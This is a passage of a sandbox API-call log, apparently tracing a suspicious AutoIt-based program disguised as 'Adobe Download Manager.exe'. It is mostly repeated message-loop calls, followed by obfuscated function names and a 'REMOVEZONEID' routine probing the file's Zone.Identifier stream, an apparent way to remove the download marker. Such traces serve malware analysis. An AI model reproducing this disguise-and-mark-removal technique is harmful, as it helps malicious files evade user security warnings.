wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.768] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.797] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.797] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.797] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.797] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.797] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.798] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.799] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.800] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.800] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.800] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.800] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.800] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.801] CharUpperBuffW (in: lpsz="_ARRAYADD", cchLength=0x9 | out: lpsz="_ARRAYADD") returned 0x9 [0131.801] CharUpperBuffW (in: lpsz="_ARRAYBINARYSEARCH", cchLength=0x12 | out: lpsz="_ARRAYBINARYSEARCH") returned 0x12 [0131.801] CharUpperBuffW (in: lpsz="_ARRAYCOLDELETE", cchLength=0xf | out: lpsz="_ARRAYCOLDELETE") returned 0xf [0131.801] CharUpperBuffW (in: lpsz="_ARRAYCOLINSERT", cchLength=0xf | out: lpsz="_ARRAYCOLINSERT") returned 0xf [0131.802] CharUpperBuffW (in: lpsz="_ARRAYCOMBINATIONS", cchLength=0x12 | out: lpsz="_ARRAYCOMBINATIONS") returned 0x12 [0131.802] CharUpperBuffW (in: lpsz="_ARRAYCONCATENATE", cchLength=0x11 | out: lpsz="_ARRAYCONCATENATE") returned 0x11 [0131.802] CharUpperBuffW (in: lpsz="_ARRAYDELETE", cchLength=0xc | out: lpsz="_ARRAYDELETE") returned 0xc [0131.802] CharUpperBuffW (in: lpsz="_ARRAYDISPLAY", cchLength=0xd | out: lpsz="_ARRAYDISPLAY") returned 0xd [0131.802] CharUpperBuffW (in: lpsz="_ARRAYEXTRACT", cchLength=0xd | out: lpsz="_ARRAYEXTRACT") returned 0xd [0131.802] CharUpperBuffW (in: lpsz="_ARRAYFINDALL", cchLength=0xd | out: lpsz="_ARRAYFINDALL") returned 0xd [0131.802] CharUpperBuffW (in: lpsz="_ARRAYINSERT", cchLength=0xc | out: lpsz="_ARRAYINSERT") returned 0xc [0131.802] CharUpperBuffW (in: lpsz="_ARRAYMAX", cchLength=0x9 | out: lpsz="_ARRAYMAX") returned 0x9 [0131.802] CharUpperBuffW (in: lpsz="_ARRAYMAXINDEX", cchLength=0xe | out: lpsz="_ARRAYMAXINDEX") returned 0xe [0131.802] CharUpperBuffW (in: lpsz="_ARRAYMIN", cchLength=0x9 | out: lpsz="_ARRAYMIN") returned 0x9 [0131.802] CharUpperBuffW (in: lpsz="_ARRAYMININDEX", cchLength=0xe | out: lpsz="_ARRAYMININDEX") returned 0xe [0131.802] CharUpperBuffW (in: lpsz="_ARRAYPERMUTE", cchLength=0xd | out: lpsz="_ARRAYPERMUTE") returned 0xd [0131.802] CharUpperBuffW (in: lpsz="_ARRAYPOP", cchLength=0x9 | out: lpsz="_ARRAYPOP") returned 0x9 [0131.802] CharUpperBuffW (in: lpsz="_ARRAYPUSH", cchLength=0xa | out: lpsz="_ARRAYPUSH") returned 0xa [0131.802] CharUpperBuffW (in: lpsz="_ARRAYREVERSE", cchLength=0xd | out: lpsz="_ARRAYREVERSE") returned 0xd [0131.802] CharUpperBuffW (in: lpsz="_ARRAYSEARCH", cchLength=0xc | out: lpsz="_ARRAYSEARCH") returned 0xc [0131.802] CharUpperBuffW (in: lpsz="_ARRAYSHUFFLE", cchLength=0xd | out: lpsz="_ARRAYSHUFFLE") returned 0xd [0131.802] CharUpperBuffW (in: lpsz="_ARRAYSORT", cchLength=0xa | out: lpsz="_ARRAYSORT") returned 0xa [0131.802] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT1D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT1D") returned 0x12 [0131.803] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT2D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT2D") returned 0x12 [0131.803] CharUpperBuffW (in: lpsz="__ARRAYDUALPIVOTSORT", cchLength=0x14 | out: lpsz="__ARRAYDUALPIVOTSORT") returned 0x14 [0131.803] CharUpperBuffW (in: lpsz="_ARRAYSWAP", cchLength=0xa | out: lpsz="_ARRAYSWAP") returned 0xa [0131.803] CharUpperBuffW (in: lpsz="_ARRAYTOCLIP", cchLength=0xc | out: lpsz="_ARRAYTOCLIP") returned 0xc [0131.803] CharUpperBuffW (in: lpsz="_ARRAYTOSTRING", cchLength=0xe | out: lpsz="_ARRAYTOSTRING") returned 0xe [0131.803] CharUpperBuffW (in: lpsz="_ARRAYTRANSPOSE", cchLength=0xf | out: lpsz="_ARRAYTRANSPOSE") returned 0xf [0131.803] CharUpperBuffW (in: lpsz="_ARRAYTRIM", cchLength=0xa | out: lpsz="_ARRAYTRIM") returned 0xa [0131.803] CharUpperBuffW (in: lpsz="_ARRAYUNIQUE", cchLength=0xc | out: lpsz="_ARRAYUNIQUE") returned 0xc [0131.803] CharUpperBuffW (in: lpsz="_ARRAY1DTOHISTOGRAM", cchLength=0x13 | out: lpsz="_ARRAY1DTOHISTOGRAM") returned 0x13 [0131.803] CharUpperBuffW (in: lpsz="__ARRAY_STRINGREPEAT", cchLength=0x14 | out: lpsz="__ARRAY_STRINGREPEAT") returned 0x14 [0131.803] CharUpperBuffW (in: lpsz="__ARRAY_EXETERINTERNAL", cchLength=0x16 | out: lpsz="__ARRAY_EXETERINTERNAL") returned 0x16 [0131.803] CharUpperBuffW (in: lpsz="__ARRAY_COMBINATIONS", cchLength=0x14 | out: lpsz="__ARRAY_COMBINATIONS") returned 0x14 [0131.803] CharUpperBuffW (in: lpsz="__ARRAY_GETNEXT", cchLength=0xf | out: lpsz="__ARRAY_GETNEXT") returned 0xf [0131.803] CharUpperBuffW (in: lpsz="__ARRAY_MINMAXINDEX", cchLength=0x13 | out: lpsz="__ARRAY_MINMAXINDEX") returned 0x13 [0131.803] CharUpperBuffW (in: lpsz="__ARRAY_GREATERTHAN", cchLength=0x13 | out: lpsz="__ARRAY_GREATERTHAN") returned 0x13 [0131.803] CharUpperBuffW (in: lpsz="__ARRAY_LESSTHAN", cchLength=0x10 | out: lpsz="__ARRAY_LESSTHAN") returned 0x10 [0131.803] CharUpperBuffW (in: lpsz="__ARRAYUNIQUE_AUTOERRFUNC", cchLength=0x19 | out: lpsz="__ARRAYUNIQUE_AUTOERRFUNC") returned 0x19 [0131.808] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0131.808] CharUpperBuffW (in: lpsz="_FILECREATE", cchLength=0xb | out: lpsz="_FILECREATE") returned 0xb [0131.808] CharUpperBuffW (in: lpsz="_FILELISTTOARRAY", cchLength=0x10 | out: lpsz="_FILELISTTOARRAY") returned 0x10 [0131.808] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0131.808] CharUpperBuffW (in: lpsz="__FLTAR_ADDFILELISTS", cchLength=0x14 | out: lpsz="__FLTAR_ADDFILELISTS") returned 0x14 [0131.808] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0131.809] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0131.809] CharUpperBuffW (in: lpsz="_FILEPRINT", cchLength=0xa | out: lpsz="_FILEPRINT") returned 0xa [0131.809] CharUpperBuffW (in: lpsz="_FILEREADTOARRAY", cchLength=0x10 | out: lpsz="_FILEREADTOARRAY") returned 0x10 [0131.809] CharUpperBuffW (in: lpsz="_FILEWRITEFROMARRAY", cchLength=0x13 | out: lpsz="_FILEWRITEFROMARRAY") returned 0x13 [0131.809] CharUpperBuffW (in: lpsz="_FILEWRITELOG", cchLength=0xd | out: lpsz="_FILEWRITELOG") returned 0xd [0131.809] CharUpperBuffW (in: lpsz="_FILEWRITETOLINE", cchLength=0x10 | out: lpsz="_FILEWRITETOLINE") returned 0x10 [0131.809] CharUpperBuffW (in: lpsz="_PATHFULL", cchLength=0x9 | out: lpsz="_PATHFULL") returned 0x9 [0131.809] CharUpperBuffW (in: lpsz="_PATHGETRELATIVE", cchLength=0x10 | out: lpsz="_PATHGETRELATIVE") returned 0x10 [0131.809] CharUpperBuffW (in: lpsz="_PATHMAKE", cchLength=0x9 | out: lpsz="_PATHMAKE") returned 0x9 [0131.809] CharUpperBuffW (in: lpsz="_PATHSPLIT", cchLength=0xa | out: lpsz="_PATHSPLIT") returned 0xa [0131.809] CharUpperBuffW (in: lpsz="_REPLACESTRINGINFILE", cchLength=0x14 | out: lpsz="_REPLACESTRINGINFILE") returned 0x14 [0131.809] CharUpperBuffW (in: lpsz="_TEMPFILE", cchLength=0x9 | out: lpsz="_TEMPFILE") returned 0x9 [0131.809] CharUpperBuffW (in: lpsz="DBRUAIEIBZEWRGBQ", cchLength=0x10 | out: lpsz="DBRUAIEIBZEWRGBQ") returned 0x10 [0131.809] CharUpperBuffW (in: lpsz="MWMQWLZFSVGLEKEBWPKTQCNGY", cchLength=0x19 | out: lpsz="MWMQWLZFSVGLEKEBWPKTQCNGY") returned 0x19 [0131.809] CharUpperBuffW (in: lpsz="ACL", cchLength=0x3 | out: lpsz="ACL") returned 0x3 [0131.809] CharUpperBuffW (in: lpsz="DHVWRCDTHNKPWFW", cchLength=0xf | out: lpsz="DHVWRCDTHNKPWFW") returned 0xf [0131.809] CharUpperBuffW (in: lpsz="KHOCWHDEQXMSTFPOADRL", cchLength=0x14 | out: lpsz="KHOCWHDEQXMSTFPOADRL") returned 0x14 [0131.809] CharUpperBuffW (in: lpsz="DJVLLWQLKATZJRZPICPARXZ", cchLength=0x17 | out: lpsz="DJVLLWQLKATZJRZPICPARXZ") returned 0x17 [0131.809] CharUpperBuffW (in: lpsz="ASAZRREHKGLB", cchLength=0xc | out: lpsz="ASAZRREHKGLB") returned 0xc [0131.810] CharUpperBuffW (in: lpsz="RSDBBCVUCE", cchLength=0xa | out: lpsz="RSDBBCVUCE") returned 0xa [0131.810] CharUpperBuffW (in: lpsz="AJJMOCPPKFEWODWKA", cchLength=0x11 | out: lpsz="AJJMOCPPKFEWODWKA") returned 0x11 [0131.810] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0131.810] CharUpperBuffW (in: lpsz="RARUCLGLLFJNMMTFCYMKXQZQIJP", cchLength=0x1b | out: lpsz="RARUCLGLLFJNMMTFCYMKXQZQIJP") returned 0x1b [0131.810] CharUpperBuffW (in: lpsz="SVEJXXJSKKUJZCUYVMSHAEL", cchLength=0x17 | out: lpsz="SVEJXXJSKKUJZCUYVMSHAEL") returned 0x17 [0131.810] CharUpperBuffW (in: lpsz="QKSYGMNMNUOEXHVWRRODCJH", cchLength=0x17 | out: lpsz="QKSYGMNMNUOEXHVWRRODCJH") returned 0x17 [0131.810] CharUpperBuffW (in: lpsz="LLBUPLMSHANIDLHCMEMP", cchLength=0x14 | out: lpsz="LLBUPLMSHANIDLHCMEMP") returned 0x14 [0131.810] CharUpperBuffW (in: lpsz="KGGJMOBCJUETCWRTLNXKZGWSZXBPV", cchLength=0x1d | out: lpsz="KGGJMOBCJUETCWRTLNXKZGWSZXBPV") returned 0x1d [0131.810] CharUpperBuffW (in: lpsz="MIVVMSGJPNONEWUB", cchLength=0x10 | out: lpsz="MIVVMSGJPNONEWUB") returned 0x10 [0131.810] CharUpperBuffW (in: lpsz="GETDIR", cchLength=0x6 | out: lpsz="GETDIR") returned 0x6 [0131.810] CharUpperBuffW (in: lpsz="REMOVEZONEID", cchLength=0xc | out: lpsz="REMOVEZONEID") returned 0xc [0131.810] CharUpperBuffW (in: lpsz="REMOVEZONEID", cchLength=0xc | out: lpsz="REMOVEZONEID") returned 0xc [0131.810] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xbcf1c0, nSize=0x7fff | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe")) returned 0x38 [0131.810] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", nBufferLength=0x7fff, lpBuffer=0xbbf1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", lpFilePart=0x0) returned 0x38 [0131.810] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe:Zone.Identifier", nBufferLength=0x7fff, lpBuffer=0xbcf3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe:Zone.Identifier", lpFilePart=0x0) returned 0x48 [0131.810] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe:zone.identifier")) returned 0xffffffff [0131.811] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe:zone.identifier"), lpFindFileData=0xbdf438 | out: lpFindFileData=0xbdf438*(dwFileAttributes=0x10766d0, 